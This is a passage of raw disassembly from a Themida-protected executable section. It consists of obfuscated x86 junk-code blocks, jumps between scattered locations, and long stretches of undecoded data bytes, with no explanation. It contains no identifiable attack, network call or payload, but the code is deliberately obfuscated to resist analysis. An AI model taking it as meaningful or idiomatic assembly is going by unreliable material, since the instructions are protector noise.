		dd 5DEA015Fh, 685AD031h, 69FCh,	50243489h, 815F5457h, 4C7h
		dd 4EF8100h, 87000000h,	248B243Ch, 241C8924h, 0E934F5BBh
		dd 9E07B80Dh, 0D8294D1Eh, 0AB68555Bh, 5D22F018h, 5306EDC1h
		dd 4774F8BBh, 8C3816Bh,	511A5C73h, 71C82B9h, 0FF20E923h
		dd 5551FFFEh, 0FF42F7E9h, 24348BFFh, 4C481h, 0C6810000h
		dd 3B3458F5h, 9ADEE81h,	0EE29089Ch, 4351E9h, 0CD36600h
		dd 8AE99C24h, 81FFFEEFh, 596C9FC7h, 0CCC7816Eh,	0E951220Eh
		dd 0FFFF9F58h, 225CEB81h, 815E5CA3h, 4C3h, 241C8700h, 2C7835Ch
		dd 8B243C87h, 88512424h, 504568D1h, 14890000h, 53E28924h
		dd 0FFD9E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5717C9:				; CODE XREF: Themida_:00568BFEj
		pop	eax
		jmp	loc_563EC1
; ---------------------------------------------------------------------------
		db 59h
		dd 0FB8CE953h, 0BD55FFFFh, 674335B8h, 2B21ED81h, 0DDF776DAh
		dd 0FFAFDFE9h, 0D38966FFh, 0FFDD2CE9h, 0E9E330FFh, 0FFFF4DB4h
		dd 4240483h, 4C7815Fh, 52000000h, 0C281E289h, 4, 0FF0331E9h
		dd 52E089FFh, 0A108E955h, 0C681FFFFh, 655D0C4Ah, 0C15EF231h
		dd 0BF5702EAh, 4C364A04h, 6851554Fh, 4E440B79h,	81DDE959h
		dd 0EC83FFFFh, 24248904h, 0ACB95156h, 0BE1E9A28h, 0E165D758h
		dd 8BE9CE01h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_571853:				; CODE XREF: Themida_:0056E973j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_572E06
; ---------------------------------------------------------------------------


loc_571872:				; CODE XREF: Themida_:0056D825j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56619F
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 48F20424h, 4C0159EBh, 44810424h, 48F20424h, 0C8B59EBh
		dd 4C48124h, 0FF000000h, 34FF2434h, 7BE95A24h, 1FFFF43h
		dd 16BB53D8h, 8147D35Ch, 1EBh, 7EBC100h, 0F381DBF7h, 2F7C5671h
		dd 3854C381h, 0DFE96B9Ch, 5AFFFFADh, 405h, 0D92CE900h
		dd 0A305FFFFh, 2D470316h, 14C33817h, 1705D001h,	0E914C338h
		dd 0E63h, 0A0BE953h, 0E289FFFFh, 4C281h, 0B9510000h, 4
		dd 3359CA01h, 14312414h, 3582E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57192A:				; CODE XREF: Themida_:0056FF85j
		add	edx, 0BC64CC2Fh
		add	ebx, edx
		pop	edx
		add	ebx, edi
		jmp	loc_56760C
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 2755E9h, 5DAF6800h, 0E95D7AD3h, 0FFFF193Ah
		dd 88C68852h, 0E9595A31h, 0FFFF3FBCh, 0F8E9C501h, 0B800003Dh
		dd 3E2D3F0Fh, 48E9C731h, 48FFFF69h, 55D3F793h, 0FF9CD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571979:				; CODE XREF: Themida_:005614ADj
		pop	edx
		push	ebp
		mov	ebp, 73A67FE7h
		jmp	loc_567BDA
; ---------------------------------------------------------------------------
aXhcm		db 'Xhçm',0
		dw 8900h
		dd 0BE56242Ch, 73100198h, 535EF589h, 0C07BBBBBh, 0F3814352h
		dd 705467DAh, 0D3F7DBF7h, 5A46E381h, 24E91ACDh,	0C100003Eh
		dd 48E908EAh, 83FFFF52h, 0ED81FFEDh, 98C9B5D9h,	315DE889h
		dd 0F30158C6h, 5324348Bh, 40E9E389h, 1FFFFA3h, 7444E9C7h
		dd 48BFFFFh, 4C48324h, 3F95EB81h, 0C30102E1h, 3F95C381h
		dd 0EC8302E1h, 43F5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5719FA:				; CODE XREF: Themida_:00566E14j
		push	edx
		mov	dl, 47h
		xor	dl, 1Dh
		and	ch, dl
		jmp	loc_5641A0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 0FF2006E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571A15:				; CODE XREF: Themida_:0056F518j
		or	eax, eax
		jz	loc_566FCF
		push	edx
		mov	edx, 1Ch
		jmp	loc_566674
; ---------------------------------------------------------------------------


loc_571A28:				; CODE XREF: Themida_:00569FA1j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		jmp	loc_56F517
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 14h
		dd 14895C24h, 4CB4BA24h, 0F2810B92h, 0B924CB0h,	0FF6881E9h
		dd 14895CFFh, 709E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571A5E:				; CODE XREF: Themida_:0056E13Ej
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		xchg	eax, ebp
		not	eax
		jmp	loc_56186A
; ---------------------------------------------------------------------------


loc_571A70:				; CODE XREF: Themida_:0056E0C5j
		add	esp, 4
		push	ebp
		pop	edi
		jmp	loc_562B8F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4E92404h, 58FFFFAFh, 0EB81FB01h, 54195DCBh, 0FEEDBFE9h
		dd 0C875EFFh, 3C895C24h, 338ABF24h, 0BE563B85h,	47B26973h
		dd 6857D6F7h, 14CBh, 0E9240489h, 0FFFF56BDh, 6824048Bh
		dd 4632h, 83240489h, 248904ECh,	24048324h, 24048B04h, 6F8068h
		dd 242C8900h, 0C581E589h, 4, 0E904C583h, 0FFFF7AD0h, 3927E381h
		dd 514B1696h, 932FB1B9h, 7E1C139h, 0FF8462E9h, 0E5C581FFh
		dd 81210847h, 0E09061F5h, 0E9E98944h, 44A1h
; ---------------------------------------------------------------------------


loc_571B0C:				; CODE XREF: Themida_:0056F5CAj
		mov	eax, 1C5C32A9h
		sub	eax, 0EFB2251Bh
		add	ebx, eax
		pop	eax
		sub	ebx, 0C50FE12Eh
		add	ebp, ebx
		jmp	loc_56487D
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	1C8704EBh, 0C895C24h, 15BF5724h
		dd 0E9697D05h, 0FFFF64D5h
; ---------------------------------------------------------------------------


loc_571B44:				; CODE XREF: Themida_:0056480Dj
		mov	[esp], ebx
		mov	ebx, 1E2112EFh
		jmp	loc_574DEA
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0E9520000h, 0FFFF9E5Ah, 2F1468h, 24048900h
		dd 42474FFh, 24048F58h,	0E9008F5Ch, 0FFFF4706h,	243CD366h
		dd 0EE3EE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571B82:				; CODE XREF: Themida_:0056E7DAj
		mov	[esp], ebx
		jmp	loc_563A10
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 0EB81EB01h, 7B5B6E62h, 51242C8Bh, 0C181E189h
		dd 4, 3E62E952h, 81500000h, 5864242Ch, 8159397Ah, 7A5864C1h
		dd 13685639h, 89000077h, 34FF240Ch, 0C4815E24h,	4, 5602E956h
		dd 0E95BFFFFh, 0FFFFD0DFh
; ---------------------------------------------------------------------------


loc_571BD8:				; CODE XREF: Themida_:00566598j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56E11F
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 4
		dd 8F33BA2Dh, 0E7BF5707h, 81240712h, 0E82504F7h, 81EF8772h
		dd 1C5h, 0E9EF8700h, 0FFFFE7DDh, 0C3814343h, 240FF906h
		dd 0CDE9DF01h, 81FFFF57h, 7A4B30E5h, 4F58131h, 1005003h
		dd 242C8BEEh, 6804C483h, 68A5h,	0FFB087E9h, 4C281FFh, 87000000h
		dd 82E92414h, 0C1FFFF38h, 0E3C102E3h, 91C38107h, 81094D3Fh
		dd 7B4A3DEBh, 62EF81E9h, 29244311h, 62C781DFh, 5B244311h
		dd 0FF02A0E9h, 0BE5657FFh, 144A498Ah, 815EF789h, 0B46747F7h
		dd 6A40E966h, 3805FFFFh, 8B53444Bh, 3AE92414h, 54FFFF64h
		dd 4EC835Eh, 83243C89h,	348904ECh, 8B1CE924h, 3C89FFFFh
		dd 1E13BF24h, 0F8018818h, 0C9C3815Fh, 81435E57h, 0D43247EBh
		dd 81C30150h, 0D43247C3h, 0C9EB8150h, 8B435E57h, 54502404h
		dd 40558h, 4050000h, 87000000h,	575C2404h, 0C31100BFh
		dd 5F55573Bh, 31D5F75Dh, 31FD31EFh, 0C1DFF7EFh,	64E906E7h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571CEF:				; CODE XREF: Themida_:00566FBDj
		dec	eax
		neg	eax
		jmp	loc_566635
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 0E9243C87h, 0FFFF1541h, 88240489h, 34AFE9D8h
		dd 0C6010000h, 1EF4EE81h, 0EE8107ABh, 500216E9h, 8B545658h
		dd 3DE92434h, 0C1FFFF1Fh, 0FAE906EDh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571D33:				; CODE XREF: Themida_:00565BAFj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56DD50
; ---------------------------------------------------------------------------


loc_571D43:				; CODE XREF: Themida_:0056F732j
		dec	esi
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		jmp	loc_56C61F
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4EC81h, 14890000h, 2BA24h, 98E90000h, 81000013h, 0E89281C5h
		dd 5DEF2152h, 75CCCF81h, 0EFD16B76h, 0C221EF81h, 0EA81C04Dh
		dd 72593432h, 0FEEDCCE9h, 5E958FFh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571D8B:				; CODE XREF: Themida_:0056587Fj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_566B82
; ---------------------------------------------------------------------------


loc_571D95:				; CODE XREF: Themida_:0056D9C8j
		mov	ch, 0E9h
		shl	ch, 4
		add	ch, 0D4h
		jmp	loc_572A0B
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 8006DDEEh, 0CE015957h, 0FF165CE9h, 0F1015DFFh, 8324348Bh
		dd 0C18104C4h, 5CAC46FFh, 0B850E929h, 5CAC46FFh, 0FEF70FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571DCD:				; CODE XREF: Themida_:005695CDj
		pop	esp
		add	esp, 4
		jmp	loc_569796
; ---------------------------------------------------------------------------
		dw 4559h
		dd 0FEF7A5E9h, 3FFF68FFh, 24890000h, 24048124h,	4, 8B2434FFh
		dd 84E9243Ch, 53FFFFE7h, 8B2414F7h, 0C481241Ch,	4, 60F4E381h
		dd 0F7532C25h, 815B2414h, 0DEFFE7EBh, 92C681DFh, 0E91B6240h
		dd 0FFFFF7B3h
; ---------------------------------------------------------------------------


loc_571E20:				; CODE XREF: Themida_:005675D0j
		add	esp, 4
		push	eax
		mov	eax, 4F7B19BBh
		jmp	loc_572AED
; ---------------------------------------------------------------------------
		dw 0E830h
		dd 240C8B66h, 6AEE68h, 4FDBE900h, 0D1F7FFFFh, 0FFB338E9h
		dd 8EDC1FFh, 7754F581h,	0E8892AC6h, 83242C8Bh, 0A30504C4h
		dd 16A0C27h, 27A32DD8h,	87E96A0Ch, 89FFFF6Ah, 63B7241Ch
		dd 8095C780h, 0DFF6E5C7h, 0E902EFC0h, 0FFFF570Ah, 71DBC781h
		dd 0F78130E6h, 232C2BC4h, 2AE9FA31h, 66FFFFAAh,	68240C8Bh
		dd 3878h, 54243489h, 5E2434FFh,	73A868h, 24348900h, 0FF8A26E9h
		dd 55A9B9FFh, 0CE293743h, 0DCA8E959h, 2D59FFFFh, 641474B4h
		dd 4D44B951h, 0C82931D5h, 5D02959h, 31D54D44h, 1474B405h
		dd 24148B64h, 4C481h, 37680000h, 0E9000039h, 3BD4h, 8904EC83h
		dd 46E92404h, 0BDFFFFF4h, 83763E9h, 28B8E9h, 24148900h
		dd 1AB4E9h, 78656800h, 4890000h, 0D5885124h, 0F6ACE952h
		dd 5A58FFFEh, 8193EB80h, 2ECh, 0C896600h, 3FB45024h, 0FF9D30E9h
		dd 0BD555BFFh, 4, 2030EA81h, 0EA294F58h, 2030C281h, 0A3E94F58h
		dd 0F7FFFF45h, 0B40DE9D5h, 0B850FFFFh, 2ACD7ABEh, 871B5035h
		dd 0C3C0D76h, 0FA2D31CDh, 17DCF6Dh, 0CD25E9C7h,	0D2F7FFFFh
		dd 0CA814242h, 296714D1h, 674CEA81h, 0EA812C49h, 41971BEEh
		dd 9FE9D301h, 81FFFF50h, 0BF3040C3h, 0EB815E54h, 47D71381h
		dd 0C381CB29h, 47D71381h, 14B76852h, 815A75AEh,	0D91ED4C2h
		dd 4E2C127h, 0E81EC281h, 0D32962B0h, 7BE9595Ah,	0C00003Bh
		dd 0F6C8FE8Ah, 2CE824D8h, 0E9C188E0h, 0FFFF204Ch
; ---------------------------------------------------------------------------


loc_571FCC:				; CODE XREF: Themida_:0056D0A7j
		pop	ebx
		push	ebx
		mov	ebx, 53D504DCh
		sub	edi, ebx
		jmp	loc_565812
; ---------------------------------------------------------------------------
		dw 0AC05h
		dd 0E9250B7Eh, 0FFFF1CECh, 0E924348Bh, 0FFFF4768h, 503E8C1h
		dd 52B65D9Ah, 88E9C301h, 5FFFFFAh, 514821D5h, 0B1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_572005:				; CODE XREF: Themida_:0056FFAFj
		add	edx, 38878535h
		sub	esi, edx
		pop	edx
		sub	esi, 799FB4Eh
		mov	edx, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_571455
; ---------------------------------------------------------------------------


loc_57201F:				; CODE XREF: Themida_:00574446j
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[edi+eax*4+1], bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 89h
		dd 0CA0158C2h, 297D68h,	24048900h, 0CCA2E954h, 74FFFFFFh
		dd 0B0E90424h, 0FFFFFF11h, 5F042474h, 8B24048Fh, 4292424h
		dd 0AAE99C24h, 81FFFEE6h, 1C5h,	81D5F700h, 0FFFFFFC5h
		dd 3EDC1FFh, 0FFC8BDE9h, 241489FFh, 0EC83E289h,	24048904h
		dd 192C4BB8h, 7E0C165h,	96258435h, 58C2018Ch, 0FEED6EE9h
		dd 242C8BFFh, 4C481h, 0EE810000h, 4E497B13h, 0C681DE01h
		dd 4E497B13h, 83241C8Bh, 343304C4h, 24343124h, 5C243433h
		dd 9C240409h, 0FEE644E9h, 38B050FFh, 0C5888F34h, 79F58058h
		dd 0C008E5C0h, 8CE905EDh, 5EFFFFA2h, 8704C183h,	0E95C240Ch
		dd 2DB0h, 4C3815Bh, 81000000h, 4C3h, 241C8700h,	1F3CE95Ch
		dd 0D7BDFFFFh, 0E9367819h, 35D3h, 0EBC1EBD1h, 0E9DBF708h
		dd 0FFFF095Ah, 0FF3C77FFh, 0D8E92434h, 89FFFF05h, 24048BC2h
		dd 0FFF39DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572135:				; CODE XREF: Themida_:0056666Fj
		add	ecx, 0FFFFFFFFh
		jmp	loc_567281
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0C3810000h, 0BC430C0Eh, 0E95BDD01h, 399Ah, 64E1C281h
		dd 0EA814F10h, 207D3D71h, 0A5E95B59h, 89FFFF9Ah, 4C281E2h
		dd 56000000h, 0FF6D54E9h, 48B66FFh, 4EC8124h, 89000000h
		dd 3068242Ch, 89000029h, 4832424h, 815D0424h, 4C5h, 11685100h
		dd 89000048h, 0C9682414h, 0FF02CC21h, 0F0E92434h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5721AB:				; CODE XREF: Themida_:00562F90j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	3DAAh
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		jmp	loc_563F9F
; ---------------------------------------------------------------------------


loc_5721C5:				; CODE XREF: Themida_:00570E70j
		mov	[esp], eax
		jmp	loc_572CD0
; ---------------------------------------------------------------------------


loc_5721CD:				; CODE XREF: Themida_:00576081j
		sub	ecx, 38CE4566h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D744
; ---------------------------------------------------------------------------
		dw 8850h
		dd 58E588DCh, 0FF07F7E9h, 4EC81FFh, 89000000h, 3DBE2434h
		dd 513F3534h, 0FFB02FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5721FD:				; CODE XREF: Themida_:00575270j
		mov	eax, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, eax
		jmp	loc_563063
; ---------------------------------------------------------------------------


loc_572212:				; CODE XREF: Themida_:0056B595j
		push	edx
		mov	edx, 276A127Bh
		mov	eax, 276A127Fh
		xor	eax, edx
		pop	edx
		sub	ebx, eax
		pop	eax
		xor	ebx, [esp]
		jmp	loc_56E43E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 97E92404h, 52FFFFBEh, 6A42E953h, 0E95BFFFFh,	0FFFF94DAh
; ---------------------------------------------------------------------------


loc_572240:				; CODE XREF: Themida_:00574C05j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_572B9E
; ---------------------------------------------------------------------------
		db 0B8h, 7Bh, 58h
		dd 0D0313B7Ch, 0FF675BE9h, 24048BFFh, 4C481h, 0EA810000h
		dd 750959C2h, 0FF6DB3E9h, 7EB951FFh, 8128705Ah,	59696EC9h
		dd 0BB5327h, 29000000h,	5BD989CBh, 8486F181h, 0CB01D086h
		dd 4B95159h, 1000000h, 1C8759CBh, 0C6815C24h, 500216E9h
		dd 0FF3A37E9h, 0E9C228FFh, 0FFFF1E39h
; ---------------------------------------------------------------------------


loc_5722A8:				; CODE XREF: Themida_:005663DCj
		push	476Fh
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		jmp	loc_5677BE
; ---------------------------------------------------------------------------
		dw 1489h
aACfpLsH5	db '$²Ý€ÂCfP°‹S³Àh¿5',0
		align 2
		dw 489h
		dd 2C25B024h, 0FEA70C17h, 4E0C0C0h, 0B551D8F6h,	51ED8081h
		dd 3059E830h, 0E2E958C3h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5722FB:				; CODE XREF: Themida_:0056456Dj
		add	al, 14h
		jmp	loc_5645AF
; ---------------------------------------------------------------------------


loc_572302:				; CODE XREF: Themida_:00569B98j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_560715
; ---------------------------------------------------------------------------
aNhdc		db '­hdc',0
		align 4
		dd 53241489h, 301745BBh, 2D78E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572322:				; CODE XREF: Themida_:00573F7Bj
		push	4422h
		mov	[esp], ecx
		push	3356h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_567820
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 4EC81h, 2C890000h, 0F5F3E924h, 487FFFFh, 50D0F724h
		dd 42474FFh, 24048F58h,	28F0E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572366:				; CODE XREF: Themida_:005626FEj
		add	ecx, 0C31F31h
		sub	ecx, 7252AC5Eh
		add	edi, 48417BD0h
		sub	edi, ecx
		jmp	loc_5653D9
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0A105F801h, 5F547852h, 164AE9h
		db 0
; ---------------------------------------------------------------------------


loc_57238D:				; CODE XREF: Themida_:005639C8j
		add	edi, 768A5E42h
		pop	ebx
		jmp	loc_564C34
; ---------------------------------------------------------------------------


loc_572399:				; CODE XREF: Themida_:0056D9FDj
		push	eax
		mov	eax, 5DC7435h
		mov	ebx, eax
		pop	eax
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		pop	edx
		or	ebx, 3FC84F0Bh
		jmp	loc_5623BB
; ---------------------------------------------------------------------------
		dd offset dword_5B3368
		dw 8900h
		dd 0E0E92404h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5723C3:				; CODE XREF: Themida_:005760F0j
		sub	esi, ebx
		mov	ebx, [esp]
		jmp	loc_573D7B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0F1685A66h, 89000017h, 44E9240Ch, 5100002Dh,	0FF6537E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5723E5:				; CODE XREF: Themida_:0056E383j
		mov	ebx, 4
		sub	esi, 757306A2h
		sub	esi, ebx
		add	esi, 757306A2h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_566B75
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14E92404h, 0BBFFFFDDh, 0AC254Ah, 0E95BDA01h,	0FFFF212Ch
		dd 27BE5650h, 0B8715107h, 0CC25F96Bh, 0FFAB3BE9h, 0E9E289FFh
		dd 0FFFFC60Dh, 8324048Bh, 0AA6804C4h, 0E900002Eh, 0FFFEEC91h
		dd 0E9240C8Bh, 0FFFF0C2Fh, 0B951D601h, 5ABE1F0Ah, 0FF001BE9h
		dd 0E9DA01FFh, 0FFFF59C6h, 0A5E95F53h, 51FFFF7Bh, 42474FFh
		dd 24048F59h, 240C895Ch, 0C5FE91B5h, 0E91BED80h, 0FFFFCFC9h
; ---------------------------------------------------------------------------


loc_572480:				; CODE XREF: Themida_:0056BC6Fj
		mov	esp, [esp]
		jmp	loc_56AE59
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 0C6015C24h, 6504B951h,	3AE906C5h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5682F8
; ---------------------------------------------------------------------------
		db 5Eh,	89h, 0CEh
		dd 52240C8Bh, 0C281E289h, 4, 3AA1E9h, 4BA00h, 0D3010000h
		dd 4EC835Ah, 68243C89h,	60E522A6h, 7EEF815Fh, 4F42EA59h
		dd 0EFEEF781h, 0C7813C63h, 38FA6D65h, 8302EFC1h, 348904ECh
		dd 3DEBBE24h, 0F6816153h, 450E2FDDh, 5507EEC1h,	0A3D51BBDh
		dd 5DEE29E9h, 815EF731h, 0FC0CF6EBh, 50FB012Bh,	0FFB016E9h
		dd 240487FFh, 0FFA2EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572521:				; CODE XREF: Themida_:005644D5j
		push	esi
		mov	esi, 4
		jmp	loc_568B68
; ---------------------------------------------------------------------------


loc_57252C:				; CODE XREF: Themida_:005692DAj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_56DFAE
; ---------------------------------------------------------------------------
		db 68h,	2, 0
		dd 0F0E90000h, 5FFFFEFCh, 0F007C781h, 9CE93868h, 0B1FFFEFEh
		dd 80C1FEEBh, 0C1FE61F1h, 0FEFE4DE9h, 240C31FFh, 0FFB95BE9h
		dd 56847FFh, 8900000Eh,	90BA2414h, 0E9422670h, 0FFFF9324h
		dd 875BD901h, 15C240Ch,	242C8BE8h, 0E904C483h, 0FFFFED69h
		dd 0A8E9CDFEh, 68000007h, 33F2h, 1C31E9h
		db 0
; ---------------------------------------------------------------------------


loc_5725B9:				; CODE XREF: Themida_:0056EB58j
		mov	[esp], ebx
		push	eax
		push	66237DCAh
		pop	eax
		jmp	loc_5630E9
; ---------------------------------------------------------------------------
		dd 92E9D5F7h, 0BA000021h, 2, 15AD189h, 29E959C8h, 56FFFEECh
		dd 4E3FF5BEh, 2474016Bh, 81595E04h, 4E3FF5E9h, 3155E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5725F6:				; CODE XREF: Themida_:0056E9F5j
		push	dword ptr [esp]
		jmp	loc_5675CF
; ---------------------------------------------------------------------------
		dw 305h
		dd 0F776547Fh, 0C1D0F7D0h, 0B10505E8h, 89741DA4h, 0CB3158C3h
		dd 0E9FB8759h, 0FFFEE4D3h
; ---------------------------------------------------------------------------


loc_57261C:				; CODE XREF: Themida_:0056DFBBj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		jmp	loc_561CA7
; ---------------------------------------------------------------------------
		dd 0C1D1F75Fh, 0E98108E1h, 27D46555h, 0FA77C181h, 0C581BDD0h
		dd 2E007DC5h, 0FEF1E0E9h, 243C87FFh, 0E924248Bh, 0FFFF3C7Fh
		dd 2C481h, 88500000h, 0E9C388D0h, 0FFFEEA39h
; ---------------------------------------------------------------------------


loc_572670:				; CODE XREF: Themida_:00575B31j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_5633B3
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0E5h
		dd 2A0716D8h, 4EC81h, 3C890000h, 1668BF24h, 72E929CFh
		dd 52FFFF63h, 0FFFE20E9h, 4C181FFh, 52000000h, 0FF5156BAh
		dd 8EAC160h, 6B5DF281h,	0C28151D7h, 5B9E584Dh, 1F71E281h
		dd 0EA8112DEh, 540C4Dh,	24E9D129h, 53FFFFEDh, 0C381E389h
		dd 4, 4C381h, 1C870000h, 0D8285C24h, 1E7AE9h, 0A7EB8100h
		dd 5D2F5138h, 4EC81h, 14890000h, 33E8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5726FE:				; CODE XREF: Themida_:0056C11Fj
		pop	esp
		pop	edi
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		push	0BEEh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_560FE6
; ---------------------------------------------------------------------------


loc_57272E:				; CODE XREF: Themida_:005659FEj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_574836
; ---------------------------------------------------------------------------
		dd 5E2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5628A1
; ---------------------------------------------------------------------------
		dd 5204C483h, 7E9C288h,	2DFFFF1Eh, 470316A3h, 22D5Ah, 4330000h
		dd 24043124h, 0FF071EE9h, 38C380FFh, 1FA8E9h, 34FF5900h
		dd 3392E924h, 1E68FFFFh, 8900007Bh, 76E9240Ch
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57279F:				; CODE XREF: Themida_:0056F287j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		push	ecx
		push	9DB4809h
		pop	ecx
		shr	ecx, 4
		inc	ecx
		sub	ecx, 0FFA3370Dh
		mov	esi, ecx
		pop	ecx
		jmp	loc_575306
; ---------------------------------------------------------------------------
		dw 0E997h
		dd 0FFFF7A75h
; ---------------------------------------------------------------------------


loc_5727C8:				; CODE XREF: Themida_:0056EABAj
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_560FDA
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 36685153h, 59459345h, 1E7AC181h, 41497DABh, 0FF56E2E9h
		dd 241487FFh, 242C895Ch, 2BDh, 0B446E900h, 0D701FFFFh
		dd 0FFCA7BE9h, 1DC281FFh, 0E937AC2Ah, 0FFFF3398h, 0B3241C89h
		dd 5EBC05Fh, 80A6B151h,	0C1FE01E9h, 240CFE51h, 33C18059h
		dd 0E30E9h, 3F75BB00h, 22BA3BF8h, 0C116203Eh, 0DAF704E2h
		dd 0F472C281h, 0DA31BA34h, 5B2434FFh, 0FFC515E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572859:				; CODE XREF: Themida_:00561051j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_567B59
; ---------------------------------------------------------------------------
		db 5Ah
		dd 89FA8952h, 5FDAE9D1h, 6664FFFFh, 6802B60Fh, 4327h, 0E9240489h
		dd 0FFFF0A7Bh
; ---------------------------------------------------------------------------


loc_572888:				; CODE XREF: Themida_:00573D56j
		mov	[esp], ebx
		mov	ebx, 11BC4993h
		push	edi
		mov	edi, 479D0284h
		xor	edi, 30B117Ah
		inc	edi
		shr	edi, 8
		push	ecx
		mov	ecx, 57613E70h
		xor	edi, ecx
		pop	ecx
		add	edi, 0B4A1A5A5h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ebx
		jmp	loc_563CC3
; ---------------------------------------------------------------------------


loc_5728BE:				; CODE XREF: Themida_:00565815j
		pop	edi
		and	eax, ebx
		jmp	loc_5689BF
